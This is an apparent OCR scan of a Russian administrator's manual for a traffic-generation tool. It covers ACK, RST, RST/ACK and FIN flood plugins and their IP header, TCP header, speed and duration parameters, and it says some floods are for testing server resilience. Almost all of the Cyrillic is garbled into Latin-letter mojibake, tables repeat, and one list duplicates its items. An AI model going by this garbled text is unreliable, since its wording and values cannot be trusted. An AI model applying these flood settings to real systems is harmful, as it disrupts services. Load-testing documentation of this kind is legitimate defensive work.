Cry9aifHBIH YHUKaIbHBIH ~ MISGHTH(HUKATOp  TAKeTa, | BKIFOYUTH/BBIKIIOYUATE TyMOIEp
ID BBIOpaHHBIH  CilydaiiHBIM  oOpazoM s

pasnudeHust (parMeHTOB OJHOTO U TOTO JKe
IP-makera

3nauenne ID

UncnoBoil MIEHTU(PHUKATOP, NPHUCBOCHHBIH
KaXXIOMy IP-naketry s ero
WICHTU(QHUKAIMKA TpH (PparMCHTAIlMA H
cOopke

[Mapamerp gocTymen, ecnu — mapameTp
«Cryuaitapiii IDy» BBIKITIOUEH

3anaiite YUCJIOBOE 3HAUECHUE (o
yMOJYaHHUIO, 3HaueHue «3HaueHue I[D»
sBrsieTcs: «0-65535)

U3m.

Jlucm

Ne dokym.

lModnucs |dama

Pykosodcmeo admHuucmpamopa 0ns 10 Nepeceem-CT

Jlucm
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r) TCP 3aronosok (L4) — mapamerpsl HacTpoek IP 3aronoskoB Ha yposue L4 TPC/IP,

OMMCaHue KOTOPBIX yka3aHbl B Tabm. 39;

Ta6a. 39 — IHapametrpsol «TCP 3arosoBok (L4)»

Ha3zpaHnue Onucanune 3HaueHue
Max. Segment Size | MakcumanbHbIit pasmep cermenTa | 3ajaiiTe umcioBoe 3HaueHue (IO
(MaxcumanbHbii PasMep | onpenenser MaKCHUMaNbHBIA | yMONYAHHIO, 3HAaueHHe  Max.
CETMEHTa)

00beM [aHHBIX, KOTOPBIA MOXKET
ObITh Tepenan B omgHoM TCP-

CCIMCHTC

Segment Size sBigercs: «1460»)

WS (IP Options)

[Mapamerp WS (Window Scale)
OTHOCHTCS K MEXaHU3MY
MacmtabupoBanust okHa TCP,
KOTOpBIH IO3BOJISIET  YBEJIUYHUTH
pasMep OKHa Al YIpaBICHUS
MTOTOKOM JaHHBIX.

3amaiiTe YHucIOBOE 3Ha4YeHHE (ITO
YMOJTYaHHIO, 3HAYCHUE WS
SIBISIETCS: «64%)

Window Size (Pa3mep oxHa)

Pasmep okna TCP omnpeapenser
00BEM TAHHBIX, KOTOPBIH MOXKET
OBITh OTIpaBiIeH 0e3 OXHUOAHUA
TTOITBEPKICHUS OT MMOIydaTeIs.

3amaiiTe YHCIOBOE 3Ha4YeHHE (ITO
yMoJuaHuoo, 3HadueHHe Window
Size sBisieTcs: «256»)

Crnyugaiinsiii Sequence Number

CnyuaifHoe 4HCIIO, UCIOJIB3YyEMOE

BTIOYHTE/BBIKITIOUUTH TyMOIIEp

JJIs WHUIHATIU3aluu
MIOCNIEI0BATENIbHOCTY HOMEPOB B
MIPOTOKOJIAX CBSI3M  (Hampumep,
TCP)
3nagyenne Sequence Number Tekymee 4HCII0 B | 3amaiite dncnoBoe 3HaueHue (IO
TIOCIIEI0BATENILHOCTH, YMOJIYaHHIO, 3Ha4YeHHe Sequence

YKa3bIBaromiee nopsaoK JaHHbIX B
MOTOKE Mepeaavn

Number «0-

4294967295»)

SBJIACTCA:

,[[) HapaMeprl CKOPOCTH — ITapaMeTp, OTBEYAIOIIUM 3a CKOpPOCTH NepCaavuu 1aKeTOB,

oIMcaHue KOTOporo ykaszaHo B Tabxn. 40;

Tabu. 40 — ITapamerp «CropocTb»

Hassanue Onucanne 3naveHue
Tymbnep  «be3 | MakcumanbsHas MPOU3BOIUTENBHOCTh 0€3 | BKIIFOUNTH/BBIKIIOYHTH
OTPaHUYCHUS» OTpPaHMYEHUH Ha KOJ-BO OTIPABIIEMBIX

3aIpOCOB B CEKYHIY
[Taketos B | Kakoe  kommuectBo  makeroB  Oyner | 3ajaiiTe 4MCIOBOE 3HAYCHHUE
CEKyHJY OTIIPABIEHO B OJHY CEKYHIY
Wurepan mexay | Onmusi TO3BOJSET HACTPOUTH 3aACPXKKy | 3amaiiTe YUCIIOBOE 3HAUCHUE
OTIPaBKOMH MEXAYy OTIPAaBKOM 3aJaHHOIO  KOJI-Ba
3aIpoOCoOB 3aIpOCOB B CEKYHAY.

e) JlIMTenbHOCTh - TapamMeTp, OTBEUAIOIINUNA 3a BpeMs paboThl MIaruHa, OMHCaHUE

KOTOpOro ykaszaHo B Tabmn. 41.

U3m.

Jlucm

Ne dokym.

lModnuck

[ama

Pykosodcmeo admHuucmpamopa 0ns 10 Nepeceem-CT
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Tabu. 41 — ITapamerp «lIMTEIBLHOCTBY»

HazBanmue Onucanmne 3HaueHnmne
JITATEeIbHOCTD Bpewmst renepanun tpadurka 3agaiiTe YUCIIOBOE 3HAYUCHHWE W BBHIOEpETE
TeHepannu BEeIMYUHY (B CEKyHIAX, MUHYyTaxX WIIH

gacax)

5.3.1.6 ACK Flood

ACK Flood — mnarun 1t reHepanuu Tpaduka, KOTOPBIA OTIPABIsSeT OOJBIIOE KOJTHMYECTBO

IMaK€TOB C YCTAaHOBJICHHBIM (bJ'Ial"OM ACK Ha b, 3aCTaBJIAA €€ O6pa6aTI)IBaTI) MHOXXCCTBO

COETUHEHUH.

JIaHHBIN IUIArMH COCTOUT U3 CIEAYIOUIUX TapaMeTPOB:

a) VcrouHuku — BeIOpaHHBIN areHT, HUHTEP(dElic, ¢ KOTOPOro areHT 0y1eT OTIPABIAThH

U TpUHUMATh TpahuK H OOBEKT OTMpaBHTENb (CM. 3aroyioBok 5.2.2.1 wmmu 5.2.2.2) musa

reHepanuu Tpaduka;

0) Llemu — BEIOpaHHBIN 0OBEKT MOTyUYaTENb (CM. 3aroJIOBOK 5.2.2.3);

B) [P 3aronoBok (L3) — mapametpsl HacTpoek [P 3aronoskoB Ha yposue L3 TPC/IP,

OIMCaHue KOTOPbIX yKa3aHbl B Tabn. 42;

Tada. 42 — I[Mapametpsl «IP 3aronosoxk (L3)»

HaszBanmue

Onucanmne

3HaueHnune

TTL (Time to
Live)

[Mapamerp TTL omnpexnensier MakcuMalbHOE
KOJIMYECTBO ~ MapIIPyTH3aTOPOB  (XOMOB),
yepe3 KOTOpbIE MOXET MPOUTH MakeT

JITAaHHBIX, IPEXKIE YeM OH OyAeT OTOpOIIeH.

3anaiite YUCIIOBOE 3HAUEHHE (o
yMoiyaHuioo, 3HaueHue TTL sBusercs:

«128»)

ToS (Type of

DSCP — 310 moje B 3arojioBke IP-makera,

3anaiite YHCIIOBOE 3Ha4YeHUE (o

Service) KOTOpOE HCIOJNB3yeTCs ISl ONpeAesieHHs | ymordaHwuio, 3HaueHue DSCP sBnsercs: «7»)
npuopuTeTa 1 00paboTku Tpaduka
ECN — »T0 MexaHHu3M, KOTOpBIN o3BosieT | Bribepere 3HAUCHNE U3 CIUCKA:
MapILIpyTH3aTOpaM  YBELOMIATH  y3Ibl O | 00 (Non-ECT)
neperpyskax B ceTr 6e3 coOpoca ImakeToB. 01 (ECT(1))
10 (ECT(0))
11 (CE (Congestion Experienced))
Cry9aifHBIH YHUKaIbHBIH ~ MISGHTH(HUKATOp  TAKeTa, | BKIFOYUTH/BBIKIIOYUATE TyMOIEp
ID BBIOpaHHBIH  CilydaiiHBIM  oOpazoM s

pasnudeHust (parMeHTOB OJHOTO U TOTO JKe
IP-makera

3nauenne ID

UncnoBoil MIEHTU(PHUKATOP, NPHUCBOCHHBIH
KaXXIOMy IP-naketry s ero
WICHTU(QHUKAIMKA TpH (PparMCHTAIlMA H
cOopke

[Mapamerp gocTymen, ecnu — mapameTp
«Cryuaitapiii IDy» BBIKITIOUEH

3anaiite YUCJIOBOE 3HAUECHUE (o
yMOJYaHHUIO, 3HaueHue «3HaueHue I[D»
sBrsieTcs: «0-65535)

U3m.

Jlucm

Ne dokym.

lModnucs |dama

Pykosodcmeo admHuucmpamopa 0ns 10 Nepeceem-CT

Jlucm
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r) TCP 3aronosok (L4) — mapamerpsl HacTpoek IP 3aronoskoB Ha yposue L4 TPC/IP,

OMMCaHue KOTOPBIX yKa3aHbl B Tabm. 43;

Taba. 43 — Iapametpsnl «TCP 3arosoBok (L4)»

Ha3zpaHnue Onucanune 3HaueHue
Max. Segment Size | MakcumanbHbIit pasmep cermenTa | 3ajaiiTe umcioBoe 3HaueHue (IO
(MaxcumanbHbii PasMep | onpenenser MaKCHUMaNbHBIA | yMONYAHHIO, 3HAaueHHe  Max.
CETMEHTa)

00beM [aHHBIX, KOTOPBIA MOXKET
ObITh Tepenan B omgHoM TCP-

CCIMCHTC

Segment Size sBigercs: «1460»)

WS (IP Options)

[Mapamerp WS (Window Scale)
OTHOCHTCS K MEXaHU3MY
MacmtabupoBanust okHa TCP,
KOTOpBIH IO3BOJISIET  YBEJIUYHUTH
pasMep OKHa Al YIpaBICHUS
MTOTOKOM JaHHBIX.

3amaiiTe YHucIOBOE 3Ha4YeHHE (ITO
YMOJTYaHHIO, 3HAYCHUE WS
SIBISIETCS: «64%)

Window Size (Pa3mep oxHa)

Pasmep okna TCP omnpeapenser
00BEM TAHHBIX, KOTOPBIH MOXKET
OBITh OTIpaBiIeH 0e3 OXHUOAHUA
TTOITBEPKICHUS OT MMOIydaTeIs.

3amaiiTe YHCIOBOE 3Ha4YeHHE (ITO
yMoJuaHuoo, 3HadueHHe Window
Size sBisieTcs: «256»)

Crnyugaiinsiii Sequence Number

CnyuaifHoe 4HCIIO, UCIOJIB3YyEMOE

BTIOYHTE/BBIKITIOUUTH TyMOIIEp

JJIs WHUIHATIU3aluu
MIOCNIEI0BATENIbHOCTY HOMEPOB B
MIPOTOKOJIAX CBSI3M  (Hampumep,
TCP)
3nagyenne Sequence Number Tekymee 4HCII0 B | 3amaiite dncnoBoe 3HaueHue (IO
TIOCIIEI0BATENILHOCTH, YMOJIYaHHIO, 3Ha4YeHHe Sequence

YKa3bIBaromiee nopsaoK JaHHbIX B
MOTOKE Mepeaavn

Number «0-

4294967295»)

SBJIACTCA:

,[[) HapaMeprl CKOPOCTH — ITapaMeTp, OTBEYAIOIIUM 3a CKOpPOCTH NepCaavuu 1aKeTOB,

OIMcaHue KOTOPOro ykazaHo B Ta0n. 44;

Tabu. 44 — ITapamerp «CkopocTb»

Hassanue Onucanne 3naveHue
Tymbnep  «be3 | MakcumanbsHas MPOU3BOIUTENBHOCTh 0€3 | BKIIFOUNTH/BBIKIIOYHTH
OTPaHUYCHUS» OTpPaHMYEHUH Ha KOJ-BO OTIPABIIEMBIX

3aIpOCOB B CEKYHIY
[Taketos B | Kakoe  kommuectBo  makeroB  Oyner | 3ajaiiTe 4MCIOBOE 3HAYCHHUE
CEKyHJY OTIIPABIEHO B OJHY CEKYHIY
Wurepan mexay | Onmusi TO3BOJSET HACTPOUTH 3aACPXKKy | 3amaiiTe YUCIIOBOE 3HAUCHUE
OTIPaBKOMH MEXAYy OTIPAaBKOM 3aJaHHOIO  KOJI-Ba
3aIpoOCoOB 3aIpOCOB B CEKYHAY.

e) JlIMTenbHOCTh - TapamMeTp, OTBEUAIOIINUNA 3a BpeMs paboThl MIaruHa, OMHCaHUE

KOTOpOro ykaszaHo B Tabm. 45.

U3m.

Jlucm

Ne dokym.

lModnuck

[ama
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Tabua. 45— ITapamerp «lIuTEIBHOCTBY»

HazBanmue Onucanmne 3HaueHnmne
JITATEeIbHOCTD Bpewmst renepanun tpadurka 3agaiiTe YUCIIOBOE 3HAYUCHHWE W BBHIOEpETE
TeHepannu BEeIMYUHY (B CEKyHIAX, MUHYyTaxX WIIH

gacax)

5.3.1.7 RST Flood

RST Flood — mutarun s reHepanuu Tpaguka, KOTOPBIM OTIPABIISIET OOJIBIIOE KOJIMYECTBO

MaKeTOB ¢ ycTaHoBJIEeHHBIM (arom RST Ha menb, koTopsle cOpackiBatoT akTuBHbie TCP-

COCAUHCHUA Ha LCIICBOM CEPBECPC.

HaHHHﬁ IJIaruH COCTOUT U3 CIICAYIOIINUX IIapaMETPOB:

a) VcrouHuku — BBIOpaHHBIN areHT, nHTepdeiic, ¢ KOTOPOro areHT Oy1eT OTIPABIAThH

Y IPUHUMATH TpapHUK U OOBEKT OTHPABUTENH JIJIsl TeHEpauy TpaduKa.

0) Llenu — BEIOpaHHBIM OOBEKT MOJTyYaATENb.

B) McTtouyHuku — BbIOpaHHBIN areHT, uHTepdeiic, ¢ KOTOPOTo areHT Oy1eT OTIPABIAThH

U TpUHUMATh TpahuK H OOBEKT OTMpaBHTENb (CM. 3aroyioBok 5.2.2.1 wmmu 5.2.2.2) nusa

reHepannu Tpapuka;

r) Llenu — BeIOpaHHBIN 00BEKT MOTyYaTENb (CM. 3aroJioBok 5.2.2.3);

1) IP 3aronoBok (L3) — mapametpsl HacTpoek IP 3aronoBkoB Ha yposue L3 TPC/IP,

OIMcaHMe KOTOPbIX yKa3aHbl B Tabmn. 46;

Taba. 46 — IHapametpsl «IP 3aronosox (L3)»

HaszBanmue

Onucanmne

3HaueHnune

TTL (Time to
Live)

[Mapamerp TTL omnpexnensier MakcuMallbHOE
KOJIMYECTBO ~ MapIIPYTH3aTOPOB  (XOMOB),
yepe3 KOTOpbIE MOXET NPOHTH MaKeT

JTAaHHBIX, PEXKIC YeM OH OyAeT OTOPOIICH.

3apgaiite YUCIIOBOE 3HAUEHHE (o
yMoiyaHuioo, 3HaueHue TTL sBusercs:

«128»)

ToS (Type of

DSCP — »310 mnosnie B 3aronoBke IP-nakera,

3anaiite YUCJIOBOE 3HAUECHUE (o

Service) KOTOpOE HCIOJIB3YeTCsl Uil OmpelesieHnst | yMondaHuto, 3HaueHne DSCP siBisiercsi: «7»)
npuopuTeTa 1 00paboTku Tpaduka
ECN — »T0 MexaHu3M, KOTOpBIN o3BosieT | Bribepere 3HaUeHNE U3 CIMCKA:
MapLIpyTH3aTOpaM  yBEJOMIISTE Y31l O | 00 (Non-ECT)
neperpy3kax B ceTu 6e3 cOpoca makeToB. 01 (ECT(1))
10 (ECT(0))
11 (CE (Congestion Experienced))
Cry4aiHbIii VHUKaJIBHBI ~ WICHTU(QUKATOP  MHaKeTa, | BKIIOYUTH/BBIKIIOYUTH TyMOIIEp
ID BBIOpaHHBIH  CilydaiiHBIM  oOpazoM s

pa3nyeHus: PparMeHTOB OJTHOTO U TOTO XKE
IP-nmakera

3Hauyenwue ID

UuncnoBoil MAEHTH(PHUKATOP, TNPHCBOCHHBIHA
KaXJIOMY IP-makety ISt ero

3anaiite YHCIOBOE 3HaYCHNE (o
YMOITYaHHUIO, 3HaueHWe «3HadueHue [D»
sBsieTcst: «0-65535»)

U3m.

Jlucm

Ne dokym.

lModnucs |dama
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Jlucm
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cOopke

ITapameTp

uaeHTuGUKanM 1npu  pparMeHTanuM |

JOCTYIIEH, €CIIA  IapaMeTp
«Cryuaitnsrii ID» BeIKIIIOUEH

e) TCP 3aronosok (L4) —mapamerpsl HacTpoek [P 3aronoskos Ha yposue L4 TPC/IP,

OMHMCaHuE KOTOPBIX YKa3aHbl B Tabn. 47;

Taba. 47 — Ilapamerpsl «TCP 3aronosoxk (L4)»

Ha3Banue Onucanne 3HaveHue
Max. Segment Size | MakcumanpHBIN pa3Mep CerMEHTa | 3amgaidTe YUCIIOBOE 3HaueHHe (10
(MakcnmanbHbli PasMep | onpenenser MakKCHMaNbHBIA | YyMOTYaHHIO, 3HadeHHe  Max.
CerMeHTa)

00bEM [aHHBIX, KOTOPBIA MOXKET
ObITh mepean B ogHoM TCP-

CCI'MCHTC

Segment Size sBisgercs: «1460»)

WS (IP Options)

IMapamerp WS (Window Scale)
OTHOCHUTCHA K MEXaHU3MYy
MaciitabupoBanust okHa TCP,
KOTOpI)II‘/II TMO3BOJIACT YBCJIUYHUTH
pasMep OKHa Ui YIpPaBICHHUS
IIOTOKOM JJaHHBIX.

3anaiite 4nciIoBOe 3HauYeHHE (TI0
YMOJTYaHHIO, 3Ha4YCHUE WS
ABIIACTCA: «64»)

Window Size (Pa3mep okHa)

Pasmep oxna TCP ompenenser
00bEM [aHHBIX, KOTOPBIH MOXKET
OBITh OTIpaBiIeH 0e3 OXHUIAHUA
MOJITBEPIKACHHS OT MMOJTYYaTEIsI.

3anaiite 4MciIoBOe 3HadeHHE (T10
yMonYaHuoo, 3HadueHHe Window
Size sBisieTcs: «256»)

Crnyuaiineiii Sequence Number

CnyyaliHO€ 4YMCIO, UCIIOJIb3YEMOE
IS UHHUIHAIA3AUT
IOCIIEI0BATEILHOCTH HOMEPOB B
MIPOTOKONAX CBSA3M  (Hampumep,
TCP)

BKITIOYHTE/BBIKITFOUUTH TyMOJIED

3nagyenne Sequence Number

Texyuiee YUCIIO B
HOCJIEIOBATEILHOCTH,
YKa3bIBaIoIlee MOPSA0K JaHHBIX B
MOTOKE TIepeaun

3anaiiTe 4nciIoBOe 3Ha4YeHHE (TI0
YMOJUaHHIO, 3HaueHHe Sequence
Number SIBJISCTCS: «0-
4294967295»)

k) IlapameTpsl ckOpoCcTH — MapaMeTp, OTBEYAIOLIHII 32 CKOPOCTh NIEpeJaul AKETOB,

oIMcaHue KOTOpOro ykazaHo B Tabmn. 48;

Ta6a. 48 — IlapameTp «CropocTb»

Ha3panue Onucanne 3navenue
Tymbnep  «be3 | MakcumanbHass TPOW3BOJUTENIHLHOCTE 0€3 | BKIIIOYHTH/BBIKIIOYUTH
OTPAHUYCHUS» OTPaHUYEHUN HA KOJ-BO OTIPaBISIEMBIX

3aIIpOCOB B CEKYHIY
[TakeroB B | Kakoe  kommuectBo  makeroB  Oyner | 3azmaiite yMCIIOBOE 3HAYCHUE
CEKyHJY OTIIPABIEHO B OJHY CEKYH]IY
WutepBan mexay | Onnus MO3BONAET HACTPOUTH 3aJACpXKKy | 3amaiiTe 4MCIOBOE 3HAUCHUE
OTIIPABKOMH MEXJIy OTIPaBKOM 3aJaHHOTO  KOJ-Ba
3aIpocoB 3allpOCOB B CEKYHJY.

U3m.

Jlucm

Ne dokym.

lModnuck

[ama
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Jlucm
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3) JIuTeNnbHOCTH - MapameTp, OTBEUAIOUUil 32 BpeMsl pabOoThI IUIaruHa, ONMCaHue

KOTOpOro yka3aHo B Taoim. 49.

Taba. 49 — IapameTp «ITUTEILHOCTDY

Ha3Banue Onucanue 3HaueHne
JnmuTeapHOCTh Bpewmst renepaiun Tpaduka 3anaiiTe YMCIIOBOE 3HAUCHHE M BBIOCpETE
TeHepaIuu BEeIMYUHY (B CEKyHIAX, MHUHYTaX WJIH

yacax)

5.3.1.8 RST/ACK Flood

RST/ACK Flood — mnmaruH mns reHepanuu Tpaduka, KOTOPBIH OTHpaBISET OOIBIIOE

KOJIMYECTBO MakeToB ¢ ycraHoBieHHbIMU (iiaramu RST u ACK, yto mpuBoguT K cOpocy

CO@I[I/IHGHI/Iﬁ " HApYUICHUIO HOPMAJIbHOT'O obMeHa JaHHBbIMU.

JIaHHBIN IUIArMH COCTOUT U3 CIEAYIOUIMX TapaMeTPOB:

a) VcrouHuku — BeIOpaHHBIN areHT, HHTEp(dElic, ¢ KOTOPOro areHT OyIeT OTIPABIATH

U TpUHUMATh TpahuK H OOBEKT OTMpaBHTENb (CM. 3aroyioBok 5.2.2.1 wmmm 5.2.2.2) nusa

re’Hepanuu Tpaduka;

0) Llemu — BEIOpaHHBIN 0OBEKT MOTyUYaTENb (CM. 3aroJIoBOK 5.2.2.3);

B) [P 3aronoBok (L3) — mapametpsl HacTpoek [P 3aronoBkoB Ha yposue L3 TPC/IP,

oIMcaHMe KOTOPbIX yka3aHbl B Tabn. 50;

Taoa. 50 — IHapametpsl «IP 3aronosox (L3)»

HaszBanmue

Onucanmne

3HaueHnune

TTL (Time to
Live)

[Mapamerp TTL omnpexnensieT MakcuMalbHOE
KOJIMYECTBO ~ MapIIPYTH3aTOPOB  (XOMOB),
yepe3 KOTOpble MOXET MPOUTH MakeT

JITAaHHBIX, IPEKIE YeM OH OyAeT OTOPOIIeH.

3anaiite YUCIIOBOE 3HAUEHHE (o
yMol4aHuioo, 3HaueHue TTL sBusercs:

«128»)

ToS (Type of

DSCP — 310 moje B 3arojioBke IP-makera,

3anaiite YHCIIOBOE 3HaYeHUE (o

Service) KOTOpPOE HCIOJNB3yeTCs IS ONpeAesieHHs | ymordaHwio, 3HaueHune DSCP sBnsercs: «7»)
npropuTeTa u 00paboTKH Tpaduka
ECN — »T0 MexaHHu3M, KOTOpBIN o3BosieT | Bribepere 3HaUCHHNE U3 CIMCKA:
MapuIpyTH3aTopaM  yBEJOMJITE Y371l O | 00 (Non-ECT)
neperpyskax B ceTu 6e3 coOpoca ImakeTos. 01 (ECT(1))
10 (ECT(0))
11 (CE (Congestion Experienced))
Cry9aifHbIH YHUKaIbHBIH ~ MISGHTH(HUKATOp  TAKeTa, | BKIFOYNTH/BBIKIIOUNATE TyMOIEp
ID BBIOpaHHBIH  CilydaiiHBIM  oOpazoM s

pasnudeHus (parMeHTOB OJHOTO U TOTO JKe
IP-makera

3nauenne ID

UncnoBoil HMIEHTU(PHUKATOP, NPHCBOCHHBIH
KaKIOMY IP-nakety JUIS ero
uaeHTHuGUKauM 1pu  QparMeHTanuM |
cOopke

3anaiite YUCJIOBOE 3HAUECHUE (o
yMOJYaHUIO, 3HaueHue «3HaueHue I[D»
sBisieTcs: «0-65535»)

U3m.

Jlucm

Ne dokym.

lModnucs |dama
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IMapametp

JOCTYNEH, €ClAd MapaMmerp
«Cryuaitnsrii IDy» BeIKIIIOUEH

r) TCP 3aronoBok (L4) — nmapamerpst HacTpoek I[P 3aronoskos Ha yposue L4 TPC/IP,

OIMCaHue KOTOPBIX yKa3aHbl B Tabn. 51;

Taba. 51— ITapamerpsl «TCP 3aronosoxk (L4)»

HazBanue Onucanne 3HaveHue
Max. Segment Size | MakcumanbpHBIH pa3Mep CeTMEHTa | 3amaidTe YUCIIOBOE 3HaueHHe (10
(MakcnmanbHbli PasMep | onpenenser MaKCHMaNbHBIA | YMOTYaHHMIO, 3HadeHHe  Max.
CerMeHTA)

00bEM JAHHBIX, KOTOPBIA MOXKET
ObITh Tepean B ogHoM TCP-

CCI'MCHTC

Segment Size sBistercst: «1460»)

WS (IP Options)

IMapamerp WS (Window Scale)
OTHOCHUTCHA K MEXaHU3MY
MaciitabupoBanust okHa TCP,
KOTOpI)II‘/II TO3BOJIACT YBCJIUYHUTDH
pasMep OKHa JJisi yMpaBJICHUS
MOTOKOM JaHHBIX.

3anaiite 4MciIoBOe 3HauYeHHE (T10
YMOJTYaHHIO, 3Ha4YCHUE WS
ABIIACTCA: «64»)

Window Size (Pa3mep okHa)

Pasmep oxna TCP ompenenser
00bEM IIaHHBIX, KOTOPBIA MOXET
OBITh OTIpaBICH 0€3 OXHUIAHHS
MIOJTBEPIKACHHS OT MOJTy4aTeIsl.

3anaiite 4MciIoBOe 3HauYeHHE (T10
yMoJl4aHuo, 3HaueHue Window
Size sBnsiercs: «256»)

Crnyuaiinsiii Sequence Number

CnyyaliHOE 4YMCIO, UCIIOJIB3YEMOE
Ut MHHULUATH3aLH
MIOCIIEI0BATEILHOCTH HOMEPOB B
MIPOTOKONIAX CBSA3M  (Hampumep,
TCP)

BKITIOYHTE/BBIKITIOUUTH TYMOJIED

3nagyenne Sequence Number

Texyuiee YUCJIO B
MOCJIEIOBATEIEHOCTH,
YKa3bIBaloIlee MOPSA0K JaHHBIX B
MOTOKE TIepeaun

3anaiiTe 4nciIoBOoe 3Ha4YeHHE (TI0
YMOJUaHHIO, 3HaueHHe Sequence
Number SIBJISCTCS: «0-
4294967295»)

n) Ilapamerpsl ckOpocTH — MapaMeTp, OTBEYAIOLIHII 32 CKOPOCTh NEpeJaul aKETOB,

omHcaHue KOTOporo ykazaHo B Tabn. 52;

Ta6a. 52 — IlapameTrp «CkopocTb»

Ha3zBanue Onucanue 3HaueHnue
Tymbnmep  «be3 | MakcumanbHas MPOU3BOIUTEIBHOCTh 0€3 | BKIFOUNTH/BBIKIIOYHTE
OTpaHUYEHUS OTpaHUYEHUN Ha KOJ-BO OTIPABIISIEMBIX

3aMpocoB B CEKYHAY
ITakeToB B | Kakoe  kommyecTBO  makeToB  OyzAer | 3ajaiiTe YMCIOBOE 3HAYCHHE
CEeKyHIY OTMPaBJICHO B OJIHY CEKYHIY
WurepBan mexnay | Onuusi MO3BOJSET HACTPOUTh 3aACPXKKy | 3amaiiTe YMCIIOBOE 3HAUCHUE
OTIpPaBKON MEXJAy OTHPAaBKOM 3aJlaHHOrO  KOJI-Ba
3a1pocoB 3aMpocoB B CEKYHIY.

U3m.

Jlucm

Ne dokym.

lModnuck

[ama
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e) JnurenpHOCTH - MapaMeTp, OTBEYAIOIIMM 3a BpeMsl paOOThl IJIarMHA, ONMUCAHHE

KOTOpOro yka3aHo B Taoim. 53.

Taba. 53 — [lapameTp «ITUTEILHOCTDY

Ha3Banue Onucanue 3HaueHne
JnmuTeapHOCTh Bpewms reneparu Tpaduka 3anaiiTe YMCIIOBOE 3HAUCHHE M BBIOCpETE
TeHepaIuu BEeIMYUHY (B CEKyHIAX, MHUHYTaX WJIH

yacax)

5.3.1.9 FIN Flood

FIN Flood — mmarun ans reHepanuu tpaduka, KOTOPBIA OTHPABISET OOJBIIOE KOJIUYECTBO

nakeToB ¢ ycraHoBleHHBIM ¢ (hiarom FIN s 3aBepiienust TCP-coennnenuii. 91oT madiaox

HUCIIOJIB3YCTCA JIA TECTUPOBAHUA YCTOﬁQHBOCTH CCpBCPa K HCOXKUJAAHHBIM 3alIpoCaM Ha

3aBEPLICHUE COCIMHEHUM.

JIaHHBIN IUIArMH COCTOUT U3 CIEAYIOUIUMX TapaMeTPOB:

a) VcrouHuku — BBIOpaHHBIN areHT, nHTepdeiic, ¢ KOTOPOro areHT Oy1eT OTIPABIAThH

U TpUHUMATh TpahuK U OOBEKT OTHpaBHUTENb (CM. 3aroyioBok 5.2.2.1 wmmm 5.2.2.2) nusa

reHepannu Tpapuka;

0) Llemu — BEIOpaHHBIN 0OBEKT MOTyUYaTENb (CM. 3aroJIoBOK 5.2.2.3);

B) [P 3aronoBok (L3) — mapametpsl HacTpoek IP 3aronoBkoB Ha yposHe L3 TPC/IP,

OIMcaHMe KOTOPbIX yKa3aHbl B Tabn. 54;

Taba. 54 — IHapametpsl «IP 3aronosox (L3)»

HaszBanmue

Onucanmne

3HaueHnune

TTL (Time to
Live)

[Mapamerp TTL omnpexnensier MakcuMallbHOE
KOJIMYECTBO ~ MapIIPYTH3aTOPOB  (XOMOB),
yepe3 KOTOpbIE MOXET NPOHTH MaKeT

JTAaHHBIX, PEXKIC YeM OH OyAeT OTOPOIICH.

3apgaiite YUCIIOBOE 3HAUEHHE (o
yMoiyaHuioo, 3HaueHue TTL sBusercs:

«128»)

ToS (Type of

DSCP — »310 mnosnie B 3aronoBke IP-nakera,

3anaiite YUCJIOBOE 3HAUECHUE (o

Service) KOTOpOE HCIOJIB3YeTCsl Uil OmpelesieHnst | yMondaHuto, 3HaueHne DSCP siBisiercsi: «7»)
npuopuTeTa 1 00paboTku Tpaduka
ECN — »T0 MexaHu3M, KOTOpBIN o3BosieT | Bribepere 3HaUeHNE U3 CIMCKA:
MapLIpyTH3aTOpaM  yBEJOMIISTE Y31l O | 00 (Non-ECT)
neperpy3kax B ceTu 6e3 cOpoca makeToB. 01 (ECT(1))
10 (ECT(0))
11 (CE (Congestion Experienced))
Cry4aiHbIii VHUKaJIBHBI ~ WICHTU(QUKATOP  MHaKeTa, | BKIIOYUTH/BBIKIIOYUTH TyMOIIEp
ID BBIOpaHHBIH  CilydaiiHBIM  oOpazoMm s

pa3nyeHus: (PparMeHTOB OJTHOTO U TOTO XKE
IP-nmakera

U3m.

Jlucm

Ne dokym.

lModnucs |dama
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3nauenue ID

UuncnoBoil HMIeHTUPHUKATOP, NPHUCBOCHHBIN | 3amaiite YHUCIIOBOE 3HAYEHUE (o
IP-nmakety JUIS ero | yMonuaHuto, 3HaueHue «3HaueHue ID»
uneHTudukauuun npu  QparmeHtanuu U | sBasercs: «0-65535»)

KaXxXaoMy

cOopke

ITapametp

JIOCTYIIEH, €CIIA  IapaMeTp
«Cryuaitnsrii ID» BeIKIIIOUEH

r) TCP 3aronosok (L4) — mapamerpsl HacTpoek IP 3aronoskoB Ha yposue L4 TPC/IP,

OMHMCaHue KOTOPBIX yKa3aHbl B Tabm. 55;

Taba. 55— Iapametrpsol «TCP 3arosoBok (L4)»

HazBanue Onucanne 3HaveHue
Max. Segment Size | MakcumanbpHBIH pa3Mep CeTMEHTa | 3amaidTe YUCIIOBOE 3HaueHHe (10
(MaxkcumanbHbII pa3mep

CETMEHTa)

OIIpeaensieT MakCHMaJbHbIH | yMOJYaHMIO, 3HadyeHWe  Max.
00BbeM TaHHBIX, KOTOPBIH MoxeT | Segment Size sBnsgercs: «1460»)
ObITh Tepenan B omgHoM TCP-

CCI'MCHTC

WS (IP Options)

IMapamerp WS (Window Scale) | 3amaiite uucinoBoe 3HadcHue (1Mo
OTHOCHUTCS K MEXaHH3MY | YMOJIYaHUIO,  3HaueHne WS
MacmrabupoBanusi okHa TCP, | sBisercs: «64»)
KOTOPBIH TO3BOJISET YBEIUYUTH
pasMep OKHa JIs yNpaBJCHUs
MOTOKOM JIaHHBIX.

Window Size (Pa3mep oxHa)

Pasmep oxma TCP ompenenser | 3amaiite 4mcioBoe 3Ha4YeHHE (10
00BbEM JaHHBIX, KOTOPBIH MOXET | yMONYaHWIO, 3HadeHHe Window
ObITh OTHpaBiIeH Oe3 oxumaHusa | Size ABIIETCS: «256%)

TTOJITBEPKICHUS OT MOIydaTeIs.

Crnyuaiinsiii Sequence Number

CrywaiiHOoe YHCIIO, HCHOJIb3yeMoe | BKIFOUHTE/BEIKITFOUUTH TyMOIIEp
JUIst MHUALHATA3AHN
HOCJIEIOBATENIbHOCTH HOMEPOB B
MPOTOKOJIaX CBs3M  (Hampumep,

TCP)

3nagyenne Sequence Number Tekymee 4HCII0 B | 3amaiire dncnoBoe 3HaueHue (IO
TIOCIIEI0BATENILHOCTH, YMOJIYaHHIO, 3Ha4YeHHe Sequence
